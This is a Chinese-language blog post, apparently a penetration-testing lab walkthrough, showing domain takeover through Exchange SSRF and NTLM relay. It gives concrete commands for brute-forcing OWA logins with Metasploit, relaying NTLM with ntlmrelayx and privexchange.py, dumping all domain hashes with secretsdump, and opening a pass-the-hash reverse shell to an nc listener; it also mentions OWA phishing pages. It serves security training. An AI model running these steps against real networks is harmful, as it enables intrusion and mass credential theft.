当前位置:网站首页>网络安全——使用Exchange SSRF 漏洞结合NTLM中继进行渗透测试
网络安全——使用Exchange SSRF 漏洞结合NTLM中继进行渗透测试
2022-07-24 13:32:00 【Beluga】
使用Exchange SSRF 漏洞结合NTLM中继进行渗透测试
第一步,打开网络拓扑,启动实验虚拟机,分别查看虚拟机IP地址:
Kali Linux

Windows 2012-1

Windows 2012-2

由于Windows 2012-2安装了Exchange Server 2013,所以开机会比较慢,请耐心等待10-20分钟。登录Windows 2012-1时需将密码改为[email protected]。
另外时钟不同步将导致用户无法登陆ECP(控制面板),我们在服务器的桌面上存放有一个文本,包含了用于联网同步域控服务器与邮件服务器时钟的命令,在开始实验前,务必先执行此命令联网同步两个服务器的时钟。(w32tm /config /manualpeerlist:"cn.pool.ntp.org tw.pool.ntp.org" /syncfromflags:manual /reliable:yes /update)具体步骤如下:
1.打开文本后复制第二行的命令至命令提示符并执行,注意此操作需要联网进行;
2.设置域控服务器中DNS服务器,为邮件服务器做正向解析,若出现无法解析DNS,可通过使用命令ipconfig /flushdns来清空DNS缓存记录。
第二步,进入Kali渗透机使用命令route add default gw 172.16.1.200 eth0添加一条默认路由至域控服务器,(需根据实际分配到的域控IP地址来添加)然后使用命令route -n查看当前路由表,

修改/etc/resolv.conf文件,将nameserver指向域控所在的ip地址,

这样就能使渗透机Kali Linux能够访问域网络。接下来我们使用nmap扫描器进行惯例的扫描,结果如下:(只截取部分关键信息)



发现目标服务器中存在smtp服务,安装有Microsoft Exchange邮件服务,枚举出的操作系统版本为Windows Server2012 R2,这也与我们的实际情况相同。
第三步,通过Exchange的用户交互接口(owa/ews)来枚举目标Exchange服务的弱口令账户,使用命令msfconsole启动metasploit渗透测试平台,使用命令search owa_ews_login搜索暴力枚举模块,通过返回的结果得到模块的完整路径为:auxiliary/scanner/http/owa_ews_login,
接下来在终端中输入:
-- msf > use auxiliary/scanner/http/owa_ews_login
-- msf auxiliary(owa_ews_login)>set RHOSTS Mail.pyseclabs.com
-- msf auxiliary(owa_ews_login)>set USERNAME admin
-- msf auxiliary(owa_ews_login)>set PASS_FILE 2.txt
-- msf auxiliary(owa_ews_login)>exploit

进行关键参数的配置,设置目标靶机地址、用户名(admin)、密码字典

得到Exchange弱口令账户的用户名和密码。接下来尝试使用该账户访问Exchange页面—https://Mail.pyseclabs.com/owa,注意再账户名前面需加上域名。

登录成功后,发现该邮箱账户可能为服务搭建完成后留存下来的测试账户,

通常邮箱服务的渗透会围绕着社工渗透测试展开,为了提升员工安全意识,在某些渗透测试时,往往还会要求渗透测试人员对企业内的邮箱账户做邮件钓鱼测试。钓鱼邮件内容不限,可以自由发挥,如复制 owa 界面制作钓鱼页面等。当然本次课程中的渗透测试主要围绕Exchage邮箱服务器的SSRF漏洞来展开,对于社工不在此展开。
第四步,首先在本机启动NTLM中继,进入/root/impacket-master/目录中,

进入impacket-master的examples目录,使用命令python ntlmrelayx.py -t ldap://pyseclabs.com --escalate-user admin,

其中pyseclabs.com为域的名称,--escalate-user的参数是Exchange的普通权限的用户名,也就是之前获得的普通用户的用户名。
第五步,执行提取脚本,进入/root/PrivExchange-master/目录,找到提权脚本Privexchange.py<

使用命令python privexchange.py -ah 172.16.1.100 Mail.pyseclabs.com -u admin -p “[email protected]” -d pyseclabs.com

其中,参数-ah为指定渗透机的地址,后接Exchange服务器在域中的名称或IP地址,因此这里为172.16.1.100 Mail.pyseclabs.com,参数-u指定需要提权的Exchange的普通权限的用户名,参数-p指定Exchange的普通权限用户的密码;参数-d指定域的名称。若攻击成功,我们在回显信息中可以看到API call was successful的提示。实验到这一步,用户admin已经在pyseclabs.com域内拥有了高权限,接下来我们来到处域内所有用户的哈希值。
第六步,进入/root/impacket/examples目录中,找到导出hash信息的脚本secretsdump.py,

使用命令python secretsdump.py pyseclabs.com/[email protected] -just-dc,并输入用户admin的密码[email protected],

该工具在域渗透测试的过程中导出域内的hash是非常轻易的,当我们已经是域管理员权限时,就可以实现提取所有域内用户的密码哈希以进行离线破解和分析,这是非常常见的一个操作。这些哈希值存储在域控制器(NTDS.DIT)中的数据库文件中,并带有一些其他信息,如组中成员身份和用户。在得到域内用户的用户名和密码哈希后,可以使用常见密码破解程序进行破解,例如John the Ripper和Hashcat。为简化实验的流程,接下来我们直接通过hash传递攻击来反弹域管理员的shell到本地。
第七步,拿到管理员用户的hash后,尝试进行反弹shell利用,我们利用Kali Linux中内置的工具smbmap来进行实验。首先使用命令nc -lnvp 1886监听本地的端口,

另开一个终端使用命令,找到位于/root目录下的smb-hash.txt文件,使用vim编辑器打开查看一下,其中内容如下:

该代码来源于github网站——https://github.com/ShawnDEvans/smbmap
内容比较长,实际的功能是通过smbmap能远程执行命令的特性,运行一个具有反弹shell能力的Powershell脚本,简单介绍一下:
其中,参数-d指定域的名称:pyseclabs.com,参数-u指定域内用户的用户名:administrator,参数-p指定高权限用户密码的hash值:值省略,参数-H指定域控制器的ip地址:172.16.1.200,参数-x后面执行的命令:命令省略,参数AttackIP即为渗透机的ip地址,port为渗透机监听的端口。
命令修改完成后如下:(hash值暂缺)

填充hash值后执行:

命令执行成功后,我们回到nc监听的终端中观察,

会话成功建立。后面的渗透步骤我们可以配合Meterpreter一起使用。
边栏推荐
- 简易订单管理系统小练习
- Basic operation of file
- Pointer advanced part (1)
- 游戏思考04总结:针对帧、状态、物理同步的总结(之前写的太长,现在简略下)
- Aike AI frontier promotion (7.24)
- Vscode configuration user code snippet (including deletion method)
- Redis (13) -- on master-slave replication of redis
- Network security - Web penetration testing
- Network security - file upload penetration test
- Handler learning
猜你喜欢

Knowledge sharing | sharing some methods to improve the level of enterprise document management

网络安全——文件上传渗透测试

游戏思考04总结:针对帧、状态、物理同步的总结(之前写的太长,现在简略下)

From cloud native to intelligent, in-depth interpretation of the industry's first "best practice map of live video technology"

现代数据架构选型:Data Fabric、Data Mesh

Introduction of embedded network interface scheme and summary of driver debugging methods

从云原生到智能化,深度解读行业首个「视频直播技术最佳实践图谱」

Embedded cognitive network card PHY self negotiation

The core capability of accelerating enterprise data application innovation flexibility

Outdoor billboards cannot be hung up if you want! Guangzhou urban management department strengthens the safety management of outdoor advertising
随机推荐
July training (day 24) - segment tree
网络安全——中间人攻击渗透测试
Interface document evolution atlas, some ancient interface document tools, you may not have used them
Odoo+ test
Chinese character style migration --- diversity regularization stargan for Chinese character multi font generation
Queue (stack)
汉字风格迁移篇---用于汉字多字体生成的多样性正则化StarGAN
ESP32ADC
vscode配置用户代码片段(包括删除方法)
Research and progress of traffic situation awareness based on social media data enhancement
Analysis of abnormal problems of embedded SD card
Knowledge sharing | sharing some methods to improve the level of enterprise document management
基于典型相关分析的多视图学习方法综述
现代数据架构选型:Data Fabric、Data Mesh
Exploration of sustainable learning ability to support the application of ecological evolution of Pengcheng series open source large models
编写浏览器插件
Is it safe for Huatai Securities to open an account through channels? Is it formal
如何生成预期数据?埃默里大学等最新《深度学习可控数据生成》综述,52页pdf涵盖346篇文献全面阐述可控生成技术体系
Implementation of dynamic columns in EAS BOS doc list
Sorting method: bubble sorting (use an array to arrange a string of numbers in order (from large to small or from small to large))